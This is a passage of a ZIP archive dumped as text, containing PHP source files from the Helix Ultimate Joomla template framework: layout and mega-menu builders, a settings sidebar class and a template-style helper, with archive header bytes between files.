	 * @return	string		Layout HTML.
	 * @since	1.0.0
	 */
	private function generateLayoutHTML($content = array())
	{
		$lang = \JFactory::getLanguage();
		$lang->load('tpl_' . $this->template, JPATH_SITE, $lang->getName(), true);

		$colGrid = array(
			'12'        => '12',
			'66'        => '6,6',
			'444'       => '4,4,4',
			'3333'      => '3,3,3,3',
			'48'        => '4,8',
			'39'        => '3,9',
			'363'       => '3,6,3',
			'264'       => '2,6,4',
			'210'       => '2,10',
			'57'        => '5,7',
			'237'       => '2,3,7',
			'255'       => '2,5,5',
			'282'       => '2,8,2',
			'2442'      => '2,4,4,2',
		);

		$html = '';

		if (!empty($content))
		{
			foreach ($content as $row)
			{
				$rowSettings = $this->getSettings($row->settings);
				$name = Text::_('HELIX_SECTION_TITLE');

				if (isset($row->settings->name))
				{
					$name = $row->settings->name;
				}

				$html .= '<div class="layoutbuilder-section" ' . $rowSettings . '>';
				$html .= '<div class="settings-section clearfix">';
				$html .= '<div class="settings-left pull-left">';
				$html .= '<a class="row-move" href="#"><i class="fas fa-arrows-alt" aria-hidden="true"></i></a>';
				$html .= '<strong class="section-title">' . $name . '</strong>';
				$html .= '</div>';
				$html .= '<div class="settings-right pull-right">';
				$html .= '<ul class="button-group">';
				$html .= '<li>';
				$html .= '<a class="btn btn-small add-columns" href="#"><i class="fas fa-columns" aria-hidden="true"></i></a>';
				$html .= '<ul class="column-list">';

				$_active = '';

				foreach ($colGrid as $key => $grid)
				{
					if ($key === $row->layout)
					{
						$_active = 'active';
					}

					$html .= '<li><a href="#" class="column-layout column-layout-' . $key . ' ' . $_active . '" data-layout="' . $grid . '"></a></li>';
					$_active = '';
				}

				$active = '';
				$customLayout = '';

				if (!isset($colGrid[$row->layout]))
				{
					$active = 'active';
					$split = str_split($row->layout);
					$customLayout = implode(',', $split);
				}

				$html .= '<li>';
				$html .= '<a href="#" class="hasTooltip column-layout-custom column-layout custom ' . $active . '" data-layout="' . $customLayout . '" data-type="custom" data-original-title="<strong>Custom Layout</strong>"></a>';
				$html .= '</li>';
				$html .= '</ul>';
				$html .= '</li>';
				$html .= '<li><a class="btn btn-small add-row" href="#"><i class="fas fa-bars" aria-hidden="true"></i></a></li>';
				$html .= '<li><a class="btn btn-small row-ops-set" href="#"><i class="fas fa-cogs" aria-hidden="true"></i></a></li>';
				$html .= '<li><a class="btn btn-danger btn-small remove-row" href="#"><i class="fas fa-times" aria-hidden="true"></i></a></li>';
				$html .= '</ul>';
				$html .= '</div>';
				$html .= '</div>';
				$html .= '<div class="row ui-sortable">';

				foreach ($row->attr as $column)
				{
					$colSettings = $this->getSettings($column->settings);

					$html .= '<div class="' . $column->className . '" ' . $colSettings . '>';
					$html .= '<div class="column">';

					if (isset($column->settings->column_type) && $column->settings->column_type)
					{
						$html .= '<h6 class="col-title pull-left">Component</h6>';
					}
					else
					{
						if (!isset($column->settings->name))
						{
							$column->settings->name = 'none';
						}

						$html .= '<h6 class="col-title pull-left">' . $column->settings->name . '</h6>';
					}

					$html .= '<a class="col-ops-set pull-right" href="#" ><i class="fas fa-cogs" aria-hidden="true"></i></a>';
					$html .= '</div>';
					$html .= '</div>';
				}

				$html .= '</div>';
				$html .= '</div>';
			}
		}

		return $html;
	}

	/**
	 * Get settings.
	 *
	 * @param	array	$config		The configuration array.
	 *
	 * @return	string	Settings string.
	 * @since	1.0.0
	 */
	private function getSettings($config = null)
	{
		$data = '';

		if (!empty($config))
		{
			foreach ($config as $key => $value)
			{
				$data .= ' data-' . $key . '="' . $value . '"';
			}
		}

		return $data;
	}
}
PK!���'�''helixultimate/src/Platform/Settings.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\System\HelixCache;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Registry\Registry;

/**
 * Settings class responsible for left sidebar settings
 * Helix framework's option sidebar.
 *
 * @since   1.0.0
 */
class Settings
{
	/**
	 * Joomla! app instance.
	 *
	 * @var		CMSApplication		$app	The CMS application instance.
	 * @since	1.0.0
	 */
	private $app;

	/**
	 * Component name. Invoke from input option.
	 *
	 * @var		string	$option		The option query string value.
	 * @since	1.0.0
	 */
	private $option;

	/**
	 * Helix value.
	 *
	 * @var		string	$helix	The helix value from query string.
	 * @since	1.0.0
	 */
	private $helix;

	/**
	 * View name.
	 *
	 * @var		string	$view	The view name from query string.
	 * @since	1.0.0
	 */
	private $view;

	/**
	 * Template ID.
	 *
	 * @var		integer		$id	 The helix template ID.
	 * @since	1.0.0
	 */
	private $id;

	/**
	 * Request value.
	 *
	 * @var		string	$request	The request value from query string.
	 * @since	1.0.0
	 */
	private $request;

	/**
	 * The Input object
	 *
	 * @var		JInput	$input	Joomla Request input.
	 * @since	1.0.0
	 */
	private $input;

	/**
	 * Template Form.
	 *
	 * @var		Form	$form	Joomla Form instance.
	 * @sine	1.0.0
	 */
	private	$form;

	/**
	 * Constructor function for class Options.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public function __construct()
	{
		$this->app 		= Factory::getApplication();
		$this->input 	= $this->app->input;

		$this->form 	= new Form('template');

		$this->option 	= $this->input->get('option', '', 'STRING');
		$this->id		= $this->input->get('id', 0, 'INT');
		$this->view 	= $this->input->get('view', '', 'STRING');
		$this->helix	= $this->input->get('helix', '', 'STRING');
		$this->request	= $this->input->get('request', '', 'STRING');

		if ($this->option === 'com_ajax' && $this->helix === 'ultimate' && $this->id !== 0)
		{
			HTMLHelper::_('jquery.framework');
			HTMLHelper::_('script', 'jui/cms.js', array('version' => 'auto', 'relative' => true));
		}
	}

	/**
	 * Inject the menu_builder field if it is not present in the `options.xml` file.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	protected function injectMenuBuilderField(Form &$form)
	{
		$field = $form->getField('menu_builder');

		/**
		 * If menu_builder field does not exist then
		 * add the field.
		 */
		if (!$field)
		{
			$fieldXml = new \SimpleXMLElement('<field name="menu_builder" helixgroup="menubuilder" type="helixmenubuilder" label="HELIX_ULTIMATE_MENU_BUILDER" description="HELIX_ULTIMATE_MENU_BUILDER_DESC" hideLabel="true" />');
			$form->setField($fieldXml, null, false, 'menu');
		}
	}

	protected function positioningMenuField(Form &$form)
	{
		$field = $form->getFieldXml('menu');

		/**
		 * If the menu field's `helixgroup` attribute is not `menubuilder`,
		 * i.e. for old templates update the group name.
		 */
		if ($field->attributes()->helixgroup !== 'menubuilder')
		{
			$field->attributes()->helixgroup = 'menubuilder';
			$form->setField($field, null, false, 'menu');
		}
	}

	/**
	 * Prepare form data for the XML
	 *
	 * @return	Registry	$formData
	 * @since	2.0.0
	 */
	protected function prepareSettingsFormData()
	{
		$templateStyle = Helper::getTemplateStyle($this->id);

		$this->form->loadFile(JPATH_ROOT . '/templates/' . $templateStyle->template . '/options.xml');

		/**
		 * Get the xml form of the form.
		 * Update the addfieldpath attribute and set to `/plugins/system/helixultimate/src/fields`
		 */
		$formXml = $this->form->getXml();

		if (!empty($formXml))
		{
			for ($i = 0; $i < $formXml->count(); ++$i)
			{
				$fieldset = isset($formXml->fieldset[$i]) ? $formXml->fieldset[$i] : null;
				$attributes = !\is_null($fieldset) ? $fieldset->attributes() : null;				

				if (!\is_null($attributes) && isset($attributes->addfieldpath))
				{
					$formXml->fieldset[$i]->attributes()->addfieldpath = '/plugins/system/helixultimate/src/fields';
				}
			}
		}

		// Load the updated xml.
		$this->form->load($formXml->asXML());
		$this->injectMenuBuilderField($this->form);
		$this->positioningMenuField($this->form);

		$formData = new \stdClass;

		if (!empty($templateStyle->params))
		{
			$formData = \json_decode($templateStyle->params);
		}

		if (empty($formData))
		{
			$optionsPath = JPATH_ROOT . '/templates/' . $templateStyle->template . '/options.json';
			$optionDefaults = [];

			if (\file_exists($optionsPath))
			{
				$optionDefaults = \json_decode(\file_get_contents($optionsPath));
			}

			$formData = $optionDefaults;
		}

		// Set custom field data for social share button
		if (empty($formData->social_share_lists))
		{
			$formData->social_share_lists = array('facebook', 'twitter', 'linkedin');
		}

		// Store into cache before return
		if (!empty($formData))
		{
			$formData = new Registry($formData);
			$templateStyle->params = $formData;
		
			$draftKey = [
				'option' => 'com_ajax',
				'helix' => 'ultimate',
				'status' => 'draft',
				'id' => $this->id
			];
			
			$initKey = [
				'option' => 'com_ajax',
				'helix' => 'ultimate',
				'status' => 'init',
				'id' => $this->id
			];

			$generatedDraftKey = Helper::generateKey($draftKey);
			$generatedInitKey = Helper::generateKey($initKey);

			$cache = new HelixCache($generatedDraftKey);

			/**
			 * Check if cache exists for a specific template ID then
			 * remove the cache and store the content from DB.
			 */
			if ($cache->contains())
			{
				$cache->removeCache($generatedDraftKey);
			}

			$cache->setCacheKey($generatedInitKey);

			if ($cache->contains())
			{
				$cache->removeCache($generatedInitKey);
			}

			$cache->storeCache($templateStyle);
		}

		return $formData;
	}

	/**
	 * Prepare Preset Edit Form for rendering
	 *
	 * @param	object	$presetData		Preset Default data
	 * @param	string	$presetName		The preset name
	 *
	 * @return	string	Presets HTML string
	 * @since	2.0.0
	 */
	public static function preparePresetEditForm($presetData, $presetName)
	{
		$presetForm = new Form('preset');
		$presetForm->loadFile(JPATH_PLUGINS . '/system/helixultimate/src/form/preset.xml');

		if (!empty($presetData['data']))
		{
			$formData = new Registry($presetData['data']);
			$presetForm->bind($formData);
		}

		$fieldset = $presetForm->getFieldset('colors');
		$group = array();

		/**
		 * Make the field id unique by adding
		 * the preset name prefix
		 */
		foreach ($fieldset as &$presetField)
		{
			$presetField->id = $presetName . '-' . $presetField->id;
			$group[] = $presetField;
		}

		$html = '<div id="' . $presetData['name'] . '" class="hu-preset-container" style="display: none;">';
		$html .= '<div  class="' . $presetData['name'] . '">';

		$html .= LayoutHelper::render(
			'cpanel.control-board.fieldset.fields',
			['group' => 'no-group', 'groupData' => $group],
			HELIX_LAYOUTS_PATH
		);

		$html .= '</div>';
		$html .= '</div>';

		return $html;
	}

	/**
	 * Get Field sets
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	private function getFieldsets()
	{
		$formData = $this->prepareSettingsFormData();

		if (!empty($formData))
		{
			$this->form->bind($formData);
		}
		else
		{
			return;
		}

		$fieldsets = $this->form->getFieldsets();

		return $fieldsets;
	}

	/**
	 * Render Field sets contents
	 *
	 * @return	string	Fieldset HTML String
	 * @since	2.0.0
	 */
	public function renderFieldsetContents()
	{
		$fieldsets = $this->getFieldsets();
		$panelHTML = '';

		foreach ($fieldsets as $key => $fieldset)
		{
			$layoutData = array(
				'fieldset' => $fieldset,
				'form' => $this->form,
				'key' => $key
			);
			$panelHTML .= LayoutHelper::render('cpanel.control-board.fieldset.panel', $layoutData, HELIX_LAYOUTS_PATH);
		}

		return $panelHTML;
	}

	/**
	 * Render HelixUltimate admin sidebar.
	 *
	 * @return	string	Sidebar HTML string.
	 * @since 	1.0.0
	 */
	public function renderBuilderControlBoard()
	{
		$fieldsets = $this->getFieldsets();

		$layoutData = array(
			'fieldsets' => $fieldsets,
			'form' => $this->form
		);

		return LayoutHelper::render('cpanel.control-board.settings', $layoutData, HELIX_LAYOUTS_PATH);
	}

	/**
	 * Handling showon conditions form XML form.
	 *
	 * @param	string		$showOn			Showon conditions.
	 * @param	string		$formControl	Form Control.
	 * @param	string		$group			Form group.
	 *
	 * @return	array		Showon data array.
	 * @since	1.0.0
	 */
	public static function parseShowOnConditions($showOn, $formControl = null, $group = null, $context = null)
	{
		// Process the showon data.
		if (!$showOn)
		{
			return array();
		}

		$formPath = $formControl ?: '';

		if ($group)
		{
			$groups = explode('.', $group);

			/**
			 * An empty formControl leads to invalid shown property
			 * Use the 1st part of the group instead to avoid.
			 */
			if (empty($formPath) && isset($groups[0]))
			{
				$formPath = $groups[0];
				array_shift($groups);
			}

			foreach ($groups as $group)
			{
				$formPath .= '[' . $group . ']';
			}
		}

		$showOnData  = array();
		$showOnParts = preg_split('#(\[AND\]|\[OR\])#', $showOn, -1, PREG_SPLIT_DELIM_CAPTURE);
		$op          = '';

		foreach ($showOnParts as $showOnPart)
		{
			if (($showOnPart === '[AND]') || $showOnPart === '[OR]')
			{
				$op = trim($showOnPart, '[]');
				continue;
			}

			$compareEqual     = strpos($showOnPart, '!:') === false;
			$showOnPartBlocks = explode(($compareEqual ? ':' : '!:'), $showOnPart, 2);

			$showOnData[] = array(
				'field'  => $formPath ? $formPath . '[' . $showOnPartBlocks[0] . ']' : $showOnPartBlocks[0],
				'values' => explode(',', $showOnPartBlocks[1]),
				'sign'   => $compareEqual === true ? '=' : '!=',
				'op'     => $op,
				'context' => !empty($context) ? $context : ''
			);

			if ($op !== '')
			{
				$op = '';
			}
		}

		return $showOnData;
	}
}
PK!C&�
�
3helixultimate/src/Platform/Builders/MenuBuilder.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Platform\Builders;

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Builders\Builder;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Folder;

/**
 * Helper class for building menu
 *
 * @since	2.0.0
 */
class MenuBuilder extends Builder
{
	/**
	 * Constructor function for the Menu Builder
	 *
	 * @since	2.0.0
	 */
	public function __construct()
	{
		parent::__construct();
	}

	/**
	 * Get Menu Types and their menu items.
	 *
	 * @param	int			$client	The client id
	 *
	 * @return	stdClass	The menu types with the items.
	 * @since	2.0.0
	 */
	public function getMenuTypes($client = 0)
	{
		$menu = [];

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);
			$query->select('id, menutype, title')
				->from($db->quoteName('#__menu_types'))
				->where($db->quoteName('client_id') . ' = ' . (int) $client);
			$db->setQuery($query);
			$menu = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			echo $e->getMessage();
		}

		$menuTypes = new \stdClass;

		if (!empty($menu))
		{
			foreach ($menu as $m)
			{
				$type = $m->menutype;
				$menuTypes->$type = $this->getMenuItems($type, $client);
			}
		}

		return $menuTypes;
	}

	/**
	 * Get Menu Item for the menu type.
	 *
	 * @param	string			$menuType	The menu type
	 * @param	string|array	$filter		The filter string.
	 * 										A dot(.) separated key value pair or an array of key/value pairs
	 *
	 * @return	array			The items list array.
	 * @since	1.0.0
	 *
	 * @throws	Exception
	 */
	public function getMenuItems($menuType = 'mainmenu', $client = 0, $filter = 'level.1')
	{
		$menuItems = [];

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);

			/**
			 * Generate conditions based on the filters and others.
			 */
			$conditions = [
				$db->quoteName('menutype') . ' = ' . $db->quote($menuType),
				$db->quoteName('published') . ' = 1',
				$db->quoteName('client_id') . ' = ' . (int) $client,
				$db->quoteName('access') . ' IN (0, 1)',
			];

			if (!empty($filter) && \is_string($filter))
			{
				if (strpos($filter, '.') === false)
				{
					throw new \InvalidArgumentException(sprintf('The filter should be a dot separated string'));
				}

				list ($key, $value) = explode('.', $filter);
				$conditions[] = $db->quoteName($key) . ' = ' . (\is_numeric($value) ? (int) $value : $db->quote($value));
			}
			elseif (!empty($filter) && \is_array($filter))
			{
				foreach ($filter as $str)
				{
					if (strpos($str, '.') === false)
					{
						throw new \InvalidArgumentException(sprintf('The filter should be a dot separated string'));
						break;
					}

					list ($key, $value) = explode('.', $str);
					$conditions[] = $db->quoteName($key) . ' = ' . (\is_numeric($value) ? (int) $value : $db->quote($value));
				}
			}

			$query->select('id, title, alias, menutype, path, link')
				->from($db->quoteName('#__menu'))
				->where($conditions);

			$query->order($db->quoteName('lft') . ' ASC');

			$db->setQuery($query);

			$menuItems = $db->loadObjectList();
		}
		catch (\InvalidArgumentException $e)
		{
			echo $e->getMessage();
		}
		catch (Exception $e)
		{
			echo $e->getMessage();

			return $e->getMessage();
		}

		return $menuItems;
	}
}
PK!�z�ӟ�/helixultimate/src/Platform/Builders/Builder.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Platform\Builders;

use Joomla\CMS\Filesystem\Folder;

/**
 * Base builder class.
 *
 * @since   2.0.0
 */
class Builder
{
	/**
	 * Constructor function for the builder class.
	 *
	 * @since	2.0.0
	 */
	public function __construct()
	{
		$this->includeFields();
	}

	/**
	 * Include all the fields from the layout path.
	 *
	 * @return	void
	 * @since	2.0.0
	 */
	protected function includeFields()
	{
		$fields = Folder::files(HELIX_LAYOUT_PATH . '/fields', '\.php$', false, true);

		if (!empty($fields))
		{
			foreach ($fields as $field)
			{
				require_once $field;
			}
		}
	}

	/**
	 * Render field element
	 *
	 * @param	string	$key
	 * @param	array	$attr
	 *
	 * @return	string	HTML string for the field element rendering
	 * @since	2.0.0
	 */
	public function renderFieldElement($key, $attr)
	{
		return \call_user_func_array(
			['HelixultimateField' . ucfirst($attr['type']), 'getInput'],
			[$key, $attr]
		);
	}
}PK!����GG7helixultimate/src/Platform/Builders/MegaMenuBuilder.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */
namespace HelixUltimate\Framework\Platform\Builders;

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Builders\Builder;
use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Folder;
use Joomla\CMS\Menu\MenuItem;
use Joomla\CMS\Menu\SiteMenu;
use Joomla\Registry\Registry;

/**
 * Helper class for building menu
 *
 * @since	2.0.0
 */
class MegaMenuBuilder extends Builder
{
	/**
	 * Menu Item ID
	 *
	 * @var		int		$itemId 	The menu item ID.
	 * @since	2.0.0
	 */
	protected $itemId = 0;

	/**
	 * Menu Item Params.
	 *
	 * @var		Registry	$params		The menu item params registry data.
	 * @since	2.0.0
	 */
	protected $params = null;

	/**
	 * Constructor function for the builder.
	 *
	 * @param	int		$itemId	The menu type
	 *
	 * @since	2.0.0
	 */
	public function __construct($itemId)
	{
		parent::__construct();

		$this->itemId = $itemId;
		$this->params = new Registry;
		$this->loadMenuItemParams();
	}

	/**
	 * Load the menu item params to the builder.
	 *
	 * @return 	void
	 * @since	2.0.0
	 */
	protected function loadMenuItemParams()
	{
		$item = $this->getMenuItem();
		$this->params = $item->getParams();
	}

	/**
	 * Get mega menu settings from the params.
	 *
	 * @return	stdClass	The mega menu settings object.
	 * @since	2.0.0
	 */
	public function getMegaMenuSettings()
	{
		$megaMenu = $this->params->get('helixultimatemenulayout', new \stdClass);

		if (!empty($megaMenu) && \is_string($megaMenu))
		{
			$megaMenu = \json_decode($megaMenu);
		}

		return $megaMenu;
	}

	/**
	 * Get menu Item by id
	 *
	 * @return	MenuItem	The menu item object.
	 * @since	2.0.0
	 */
	public function getMenuItem()
	{
		$item = new MenuItem;

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);
			$query->select('m.id, m.menutype, m.title, m.alias, m.note, m.path AS route, m.link, m.type, m.level, m.language')
				->select($db->quoteName('m.browserNav') . ', m.access, m.params, m.home, m.img, m.template_style_id, m.component_id, m.parent_id')
				->select('e.element as component')
				->from($db->quoteName('#__menu', 'm'))
				->join('LEFT', '#__extensions AS e ON m.component_id = e.extension_id')
				->where($db->quoteName('id') . ' = ' . (int) $this->itemId);

			$item = $db->setQuery($query)->loadObject();

			/**
			 * Make items object as MenuItem object so that we can use
			 * the MenuItem's functionalities.
			 */
			$item = new MenuItem((array) $item);
		}
		catch (Exception $e)
		{
			echo Factory::getApplication()->enqueueMessage($e->getMessage());

			return $item;
		}

		return $item;
	}

	/**
	 * Get Menu child menu items for a item id.
	 *
	 * @return	array	The menu item id items
	 * @since	2.0.0
	 */
	public function getItemChildren()
	{
		$children = [];

		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);
			$query->select('id, title, parent_id')
				->from($db->quoteName('#__menu'))
				->where($db->quoteName('parent_id') . ' = ' . (int) $this->itemId)
				->where($db->quoteName('published') . ' = 1');
			$db->setQuery($query);

			$children = $db->loadObjectList();
		}
		catch (Exception $e)
		{
			echo $e->getMessage();

			return [];
		}

		return $children;
	}

	/**
	 * Get item title. If the item is a module then get the module title.
	 * If the item is a menu item then get the item title.
	 *
	 * @param	\stdClass	$item	The item object
	 *
	 * @return	string		The title string.
	 * @since	2.0.0
	 */
	public function getTitle($item)
	{
		$element = null;

		if ($item->type === 'module')
		{
			$modules = Helper::getModules();

			foreach ($modules as $mod)
			{
				if ((int) $mod->id === (int) $item->item_id)
				{
					$element = $mod;
					break;
				}
			}
		}
		else
		{
			$menu = new SiteMenu;
			$element = $menu->getItem($item->item_id);
		}

		return !empty($element) ? $element->title : '';
	}

	/**
	 * Get missing menu items.
	 *
	 * @return	array	the missing items array.
	 * @since	2.0.0
	 */
	public function getMissingItems()
	{
		$settings = $this->getMegaMenuSettings();
		$children = $this->getItemChildren();

		$rows = $settings->layout ?? [];

		$items = [];

		if (!empty($rows))
		{
			foreach ($rows as $row)
			{
				$columns = $row->attr ?? [];

				if (!empty($columns))
				{
					foreach ($columns as $column)
					{
						$cells = $column->items ?? [];
						$cells = array_filter($cells, function($cell) {
							return $cell->type === 'menu_item';
						});

						$items = array_merge($items, $cells);
					}
				}
			}
		}

		$missing = [];

		if (!empty($children) && !empty($items))
		{
			foreach ($children as $child)
			{
				$found = false;

				foreach ($items as $item)
				{
					if ((int) $child->id === (int) $item->item_id)
					{
						$found = true;
						break;
					}
				}

				if (!$found)
				{
					$tmp = new \stdClass;
					$tmp->type = 'menu_item';
					$tmp->item_id = $child->id;
					$missing[] = $tmp;
				}
			}
		}

		return $missing;
	}
}
PK!��OM>B>B%helixultimate/src/Platform/Helper.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

namespace HelixUltimate\Framework\Platform;

use DateTime;
use HelixUltimate\Framework\Platform\Provider;
use HelixUltimate\Framework\System\HelixCache;
use HelixUltimate\Framework\System\JoomlaBridge;
use Joomla\CMS\Application\ApplicationHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

defined('_JEXEC') or die();

/**
 * Helix framework helper class
 *
 * @since   1.0.0
 */
class Helper
{
	/**
	 * Get template styles from Database.
	 *
	 * @param	integer		$id		The template ID.
	 *
	 * @return	object		Template data object.
	 * @since	1.0.0
	 */
	public static function getTemplateStyle($id = 0)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select(array('*'));
		$query->from($db->quoteName('#__template_styles'));

		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('id') . ' = ' . $db->quote($id));

		$db->setQuery($query);

		return $db->loadObject();
	}

	/**
	 * Get template ID by template name.
	 *
	 * @param	string	$template	Template name.
	 *
	 * @return	integer				Template ID.
	 * @since	2.0.0
	 */
	public static function getTemplateId($template) : int
	{
		try
		{
			$db 	= Factory::getDbo();
			$query 	= $db->getQuery(true);

			$query->select('id')
				->from($db->quoteName('#__template_styles'))
				->where($db->quoteName('template') . ' = ' . $db->quote($template));

			if (Multilanguage::isEnabled())
			{
				$query->where($db->quoteName('home') . ' IN(' . $db->quote(Factory::getLanguage()->getTag()) . ', 1)');
			}

			$db->setQuery($query);

			return (int) $db->loadResult();
		}
		catch (\Exception $e)
		{
			return 0;
		}
	}

	/**
	 * Update Helix template styles.
	 *
	 * @param	integer		$id		The helix template ID.
	 * @param	object		$data	The updated contents.
	 *
	 * @return	void
	 * @since	1.0.0
	 */
	public static function updateTemplateStyle($id = 0, $data = null)
	{
		if (empty($data))
		{
			return;
		}

		$keyOptions = [
			'option' => 'com_ajax',
			'helix' => 'ultimate',
			'status' => 'init',
			'id' => $id
		];

		$key = self::generateKey($keyOptions);
		$cache = new HelixCache($key);

		// If cache contains for the $key generated before
		if ($cache->contains())
		{
			$cachedData = $cache->loadData();
			$cachedData->params = new Registry($data);
			$cache->removeCache()->storeCache($cachedData);
		}

		$data = json_encode($data);

		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$fields = array($db->quoteName('params') . ' = ' . $db->quote($data));
		$conditions = array(
			$db->quoteName('id') . ' = ' . $db->quote($id),
			$db->quoteName('client_id') . ' = 0'
		);

		$query->update($db->quoteName('#__template_styles'))->set($fields)->where($conditions);
		$db->setQuery($query);

		return $db->execute();
	}

	/**
	 * Get Helix Template version.
	 *
	 * @return	string	The version number.
	 * @since	1.0.0
	 */
	public static function getVersion()
	{
		$db = Factory::getDBO();
		$query = $db->getQuery(true);

		$query->select(array('*'));
		$query->from($db->quoteName('#__extensions'));

		$query->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('element') . ' = ' . $db->quote('helixultimate'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'));

		$db->setQuery($query);
		$result = $db->loadObject();

		$manifest_cache = json_decode($result->manifest_cache);

		if (isset($manifest_cache->version))
		{
			return $manifest_cache->version;
		}

		return;
	}

	/**
	 * Check if the data drafted or not.
	 *
	 * @return 	boolean	True if the data is drafted, false otherwise
	 * @since	2.0.0
	 */
	public static function isDrafted()
	{
		$app = Factory::getApplication();
		$template = $app->getTemplate(true);
		$templateId = 0;

		if ($app->isClient('site'))
		{
			$templateId = $template->id;
		}
		else
		{
			if ($app->input->get('option') === 'com_ajax' && $app->input->get('helix') === 'ultimate')
			{
				$templateId = $app->input->get('id', 0, 'INT');
			}
		}

		$draftKeyOptions = [
			'option' => 'com_ajax',
			'helix' => 'ultimate',
			'status' => 'draft',
			'id' => $templateId
		];

		$key = self::generateKey($draftKeyOptions);
		$cache = new HelixCache($key);

		return $cache->contains();
	}

	/**
	 * Generate a md5 cache key from option(s)
	 *
	 * @param	mixed	$options	string or array.
	 *
	 * @return	string	Cache key.
	 * @since	2.0.0
	 */
	public static function generateKey($options)
	{
		if (is_array($options))
		{
			$string = '';

			foreach ($options as $key => $option)
			{
				$string .= $key . ':' . $option . ';';
			}
		}
		elseif (is_string($options))
		{
			$string = $options;
		}
		else
		{
			$string = 'helixultimate';
		}

		return md5($string);
	}

	private static function checkTemplateStyleValidity(int $id) : bool
	{
		$db 	= Factory::getDbo();
		$query 	= $db->getQuery(true);
		$query->select('id')->from($db->quoteName('#__template_styles'))
			->where($db->quoteName('id') . ' = ' . $id);
		$db->setQuery($query);
		$result = $db->loadResult();

		return isset($result);
	}

	/**
	 * Load template data from cache or database.
	 *
	 * @return	object	Template style object
	 * @since	2.0.0
	 */
	public static function loadTemplateData()
    {
        $templateId = 0;
        $app = Factory::getApplication();

        if ($app->isClient('site'))
        {
            $currentTemplate = $app->getTemplate(true);
            $templateId = $currentTemplate->id ?? 0;

			/**
			 * If a page/menu is assigned to a specific template
			 * then get the template ID.
			 */
			$activeMenu = $app->getMenu()->getActive();

			if (!empty($activeMenu) && !empty($activeMenu->template_style_id))
			{
				$templateId = $activeMenu->template_style_id;
			}
        }
        else
        {
            if ($app->input->get('option') === 'com_ajax' && $app->input->get('helix') === 'ultimate')
            {
                $templateId = $app->input->get('id', 0, 'INT');
            }
        }

		if (empty($templateId))
		{
			$templateId = $app->input->get('helix_id', 0, 'INT');
		}

        if($templateId)
        {
            $template = [];

            $draftKeyOptions = [
                'option' => 'com_ajax',
                'helix' => 'ultimate',
                'status' => 'draft',
                'id' => $templateId
            ];

            $draftKey = self::generateKey($draftKeyOptions);
            $cache = new HelixCache($draftKey);

            /**
             * Check the fetch destination. If it is iframe then load the settings
             * from draft, otherwise if it is document that means this request
             * comes from the original site visit. So load from saved cache.
             */
            $requestFromIframe = $app->input->get('helixMode', '') === 'edit';
    
            if ($cache->contains() && $requestFromIframe)
            {
                $template = $cache->loadData();
            }
            else
            {
                $keyOptions = [
                    'option' => 'com_ajax',
                    'helix' => 'ultimate',
                    'status' => 'init',
                    'id' => $templateId
                ];
    
                $key = self::generateKey($keyOptions);
                $cache->setCacheKey($key);
    
                if ($cache->contains())
                {
                    $template = $cache->loadData();
                }
                else
                {
                    $template = self::getTemplateStyle($templateId);        
                }
            }

			if (isset($template->template) && !empty($template->template))
			{
				if (!empty($template->params) && \is_string($template->params))
				{
					$template->params = new Registry($template->params);
				}

				/**
				 * If params field is found empty in the database or cache then
				 * read the default options.json file from the template and assign
				 * the options as template params.
				 */
				elseif (empty($template->params))
				{
					$filePath = JPATH_ROOT  . '/templates/' . $template->template . '/' . 'options.json';

					if (\file_exists($filePath))
					{
						$defaultParams = \file_get_contents($filePath);
						$template->params = new Registry($defaultParams);
					}
					else
					{
						$template->params = new Registry;
					}
				}

				return $template;
			}
        }

        $template = new \stdClass;
        $template->template = 'system';
        $template->params = new Registry;

        return $template;
    }

	/**
